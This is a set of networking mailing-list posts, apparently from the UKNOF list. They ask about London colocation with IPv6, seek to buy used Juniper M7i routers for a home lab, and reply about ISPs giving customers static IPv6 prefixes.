Can anyone recommend any co-lo providers in/around London that offer
an "all in" kind of service, i.e. rack/power and connectivity?

Looking for the following features:

* 3RU (1 server, two routers each 1RU)
* Connectivity included
* A routed /29 of IPv4 (will be firewalling on one of the routers)
* IPv6 a must (routed /64 or greater would be superb)

Replies off-list, happy to hear direct from any lurking sales people
to discuss specifics.

Thanks,
Tom

[uknof] WTB: Juniper M7i(s)

[Tom Storey]

Hi All,

Hoping that someone might just happen to have one or two M7i's laying
around that they might be looking to dispose of.

If the price is right, I would definitely be looking to purchase two
of them, but just so you dont waste your time I am limited in budget
to somewhere in the region of £2500ea.

Im looking at purchasing these for a personal lab, and the saying
"beggars cant be choosers" definitely applies, so the below really is
just a wish list:

* Chassis with 1 or 2 AC power supplies, 1GE or 2FE BASE
* RE-400 (preferably the -768 variant, but -256 easily upgradable it
seems) or maybe RE-850-1536 if thats all you happen to have
* No preference between CFEB or CFEB-E
* Up to 2 x PE-1GE-SFP; or perhaps
* 1 of those 4GE IQ cards if you just happen to have some you also
want to dispose of; or perhaps
* 1 x PE-4FE-TX if you dont have the above (but basically Im just
after some port count)
* Rack ears
* Preferably all empty slots have blanks

Those specific GE interfaces would definitely be handy due to
flexible-ethernet-services, but I can live without it. And OK, I know
I said beggars cant be choosers, but for the power supplies I really
do want AC. :-)

If you're based somewhere convenient around London (i.e. near a
tube/overground station) I can collect, otherwise it would be most
helpful to organise shipping probably to a Milton Keynes address.

I realise that my budget really does mean I am asking a lot, but if
you can let me know what you have and what you want to sell for, or
what you can accomodate, I would greatly appreciate it. :-)

Many thanks.
Tom

Re: [uknof] IPv6 customer prefixes?

[Tom Storey]

Australian ISP Internode is doing static allocations.

http://forums.whirlpool.net.au/forum-replies.cfm?t=1742650&p=6#r107

On 27 July 2011 14:04, Tim Chown  wrote:

> Hi,
>
> There was some discussion at the IETF this week on whether ISPs are
> offering static or dynamic v6 prefixes to customers.  I would assume the
> default is static?  Is there anyone here doing something different?
>
> I also notice being on the ietf-v6ONLY wireless here that the uknof site is
> not dual-stack.  I appreciate the site is provided by goodwill, but is there
> any plan to make it available over IPv6?
>
> Tim
>
>